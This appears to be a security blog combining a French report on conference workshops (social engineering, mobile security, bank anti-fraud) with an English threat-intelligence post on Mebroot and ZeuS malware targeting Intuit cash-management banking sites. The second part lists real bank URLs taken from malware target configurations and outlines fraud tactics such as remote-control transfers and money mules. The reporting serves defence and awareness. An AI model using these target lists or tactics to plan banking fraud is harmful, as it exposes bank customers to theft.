A peine un quart d’heure de répit, et nous voilà partis pour assister à l’atelier « e-reputation et social engineering : nouvel enjeu de société ». Un intitulé très alléchant pour un atelier qui s’est révélé intéressant, notamment par la présence de présentateurs de qualité. Ainsi, Marc Blanchard (Epidémiologiste, Bitdefender) et Garance Mathias (Avocat du Cabinet Mathias) nous ont parlé de social engineering, pratique consistant à manipuler par toute méthode une ou plusieurs personnes afin d’obtenir des informations sensibles. Cette pratique, bien qu’ancienne (au début des années 90 des pirates informatiques se faisaient déjà passer au téléphone pour des fournisseurs afin d’obtenir vos coordonnées bancaires ou des accès à votre réseau) est toujours d’actualité. Et plus que jamais, puisque les pirates utilisent maintenant le web 2.0 pour parvenir à leurs fins : les réseaux sociaux deviennent une arme que l’on peut utiliser contre vous. De nombreux scénarios d’attaques par ingénierie sociale sont possibles, trop pour tous les évoquer ici. Néanmoins, en plus des attaques à base de web 2.0 étaient évoquées les attaques physiques (fouille des poubelles par exemple), les attaques liées à l’entreprise, l’usurpation d’identité, etc. Marc Blanchard soulignait à raison le fait qu’un attaquant ne pense pas comme vous : une information qui peut vous sembler anodine peut avoir une grande valeur pour un attaquant, qui saura s’en servir.

Au final, très peu de temps alloué au thème du social engineering, le reste de l’atelier s’étant focalisé sur l’e-réputation. L’intervention de Madame Liane Mathiaut était particulièrement intéressante. Cette dernière, responsable de la veille-image de la SNCF, nous a dressé un portrait passionnant de la gestion de cette problématique dans la grande entreprise de transport. Son poste, créé il y a deux ans au sein de la communication du groupe, permet aux décideurs d’avoir une idée précise de l’image du Groupe auprès des particuliers et des professionnels. Dans la pratique, il s’agit de surveiller les forums, blogs, réseaux sociaux, afin de détecter des signaux faibles intéressants ainsi que de pouvoir estimer l’intérêt des internautes pour certains sujets « sensibles ». Les décideurs et les communicants en sont avertis sous forme d’alerte, et peuvent réagir dans des conditions confortables. Un peu plus surprenant, il s’agit également de surveiller les ventes d’objets « corporate » sur des plateformes telles qu’eBay (l’exemple d’une casquette de contrôleur a été cité). Le Capitaine Frédérick Gaudreau, responsable du bureau de coordination des enquêtes sur les délits informatiques de la Sureté du Québec, nous a ensuite parlé de la présence des services de Police sur les réseaux sociaux. Il nous a rassuré en rappelant qu’effectivement les enquêtes judiciaires sont menées à la fois de façon classique et sur le web, y compris sur les réseaux sociaux, mais que les éléments découverts sur ces derniers ne sont pas des preuves absolues. Par contre, chose amusante, il soulignait aussi le fait que ses services obtenaient plus d’information sur un individu par les réseaux sociaux que par les fichiers « classiques » de la Police.

Enfin, j’ai particulièrement apprécié la présence et le discours d’ Emilie Ogez, experte en médias sociaux et gestion de l’identité numérique. Cette dernière nous a rappelé que tout n’était pas négatif au niveau de l’e-reputation sur Internet, et qu’Internet était aussi un outil d’e-reputation formidable et permettant de grandes opportunités en matière de communication positive. Elle nous a ensuite présenté brièvement divers outils de veille particulièrement utiles. Parmi ses recommandations pour les entreprises disposant de peu de moyens, elle mettait en avant les alertes Google, ainsi que le phénomène Twitter qui permet d’obtenir une veille relativement efficace. D’ailleurs, de son smartphone, elle n’a pu s’empêcher de twitter pendant l’atelier et me l’a confirmé après sa présentation ;-)

Autre atelier auquel nous avons assisté : « Essor du Nomadisme : une sécurité suffisante ? »

Cet atelier nous présentait les risques liés au nomadisme, en particulier dans un cadre professionnel. Isabelle TISSERAND, Docteur de l’Ecole des Hautes Etudes en Sciences Sociales (EHESS) démarrait cet atelier par une présentation des vulnérabilités humaines d’un employé en déplacement, avant de nous lister des méthodes efficaces d’approche de ces personnes dans divers but dont celui d’obtenir de l’information sensible sur sa société : techniques d’ approches subtiles basées sur la psychologie (inconnu qui curieusement a les même centres d’intérêt que vous, qui sait comment se présenter sur un jour sympathique à vos yeux, personne du sexe opposé jouant la carte du sexe, etc.) ou techniques plus brutales : tiraillement psychologique (« si tu ne me donne pas cette information, des milliers de personnes seront au chômage, ce sera ta faute »), ou menaces physiques sur la personne ou sa famille… Madame TISSERAND évoquait également quelques méthodes pour se prémunir de ces attaques et savoir reconnaitre une « ambiance » pouvant influencer la potentielle victime. Monsieur Boulbaba Ben Amor, Maitre de Conférence à Télécom Lille 1, et Denis Langlois (Responsable pôle menaces et vulnérabilités Securymind) nous parlaient ensuite de sécurité de l’information, en insistant sur la biométrie et en évoquant le « boom » des ventes de VPN suite à la grippe A. Enfin, Nicolas Brulez (Kaspersky) nous parlait des malware susceptibles de contaminer un ordinateur portable. Il est en effet facile de se faire infecter sur des réseaux wifi non sécurisés par exemple, ou par clef USB négligemment abandonnée 5 minutes seulement … Malware capables de dérober des données sensibles ensuite et de les transmettre vers un commanditaire…

Autre atelier : « Etablissements bancaires : gestion de la sécurité des opérations en ligne ».

Cet atelier nous présentait les risques liés aux opérations en ligne gérées par les grands établissements bancaires français. Y étaient présents Messieurs Alain Fauvarque (RSSI Crédit du Nord), Gil Delille (RSSI Crédit Agricole), Patrick Pichereau (Responsable USM Crédit Agricole), Alexandre Stervinou (Expert sécurité Banque de France), et Gilles Duteil (Expert judiciaire).

Patrick Pichereau nous présentait l’USM (Unité Sécurité Multimédia) du Crédit Agricole, cellule de 3 personnes chargées de lutter pour le Crédit Agricole contre la fraude et ainsi protéger leurs clients. Monsieur Pichereau soulignait que le phishing était en fin de vie car bien détecté et géré de leur côté, mais modérait cet enthousiasme par une inquiétude relative aux malware bancaires, en insistant sur les possibilités d’attaques et d’interception de données par les techniques de « man in the middle » déployées par certains malware bancaires (ou chevaux de Troie).

Monsieur Stervinou de la Banque de France soulignait quant à lui les risques à venir relatifs aux virements SEPA, qui permettent de virer de l’argent directement vers des destinataires étrangers, permettant ainsi aux fraudeurs de se passer de l’étape des mules. (Actuellement, pour voler de l’argent d’un compte bancaire en ligne, les fraudeurs doivent virer l’argent de la victime vers une tierce personne localisée dans le même pays, personne nommée « mule », qui renverra l’argent par d’autres moyens vers les fraudeurs.)

Monsieur Fauvarque quant à lui nous parlait de la nécessité actuelle d’adapter les processus bancaires en parallèle de réflexions technologiques pures.

Au final, un atelier très intéressant et rassurant : les grands groupes bancaires sont au fait de l’actualité technologique et plutôt efficaces dans la lutte anti-fraude bancaire.

Nous poursuivrons notre tour du FIC prochainement, avec d’autres comptes-rendus d’ateliers.

vendredi 2 avril 2010

A batch of new targets for Mebroot with one regular expression

Two days ago, Mebroot's author updated the configuration file transmitted to the infected bots and added a specific string:

"*onlineserv/CM/".

It refers to a software platform for online Cash Management services, provided by Digital Insight (now Intuit) to hundreds of American financial institutions.

A Google search provides more than 200 different bank and credit union websites using this application. Furthermore, an online product demo explains clearly the transaction capabilities provided by the system.

The online authentication scheme of these corporate banking websites may comply with the regulations set by the american banking sector authorities (such as FFIEC). But it doesn't seem to include bullet-proof security regarding today's malware threats. For instance, authentication seems to be granted according to password + device fingerprinting (through secure cookies for example). Challenges or temporary passwords may replace cookies when the computer is not "recognized".

But both systems will not stop fraudsters, as they can use remote-connection capabilities (such as RDP, VNC, etc.), enabling them to steal funds from bank accounts through the victim's own PC and Internet (effectively defeating anti-fraud measures such as MAC/IP addresses).



A lot of trojan horses already indeed successfully targeted some banks using such online system. A quick study on the last 3000 configuration file of ZeuS malware samples showed around 500 ones (1 out of 6) including targets running Intuit's CM software :

  • https://www.bankoffortbendonline.com/onlineserv/CM/
  • https://www.americansavingsnj2.com/onlineserv/CM/
  • https://www.columbiabankonline.com/onlineserv/CM/
  • https://www.eastwestbankhb.com/onlineserv/CM/*
  • https://www.ecathay.com/onlineserv/CM/
  • https://www.independentcm.com/onlineserv/CM/
  • https://www.securechemicalbankmi.com/onlineserv/CM/
  • https://www.skagitonlinebanking.com/onlineserv/CM/
  • https://www.independentcm.com/onlineserv/CM/*

In rare cases, some pirates also included "wildcard" strings (https://*/onlineserv/CM/*) in the ZeuS configuration files, in the same way Torpig is now configured.

It would not suprise us to see in the near future more fraudulent transfers (including ACH) attempted through Mebroot's infected drones.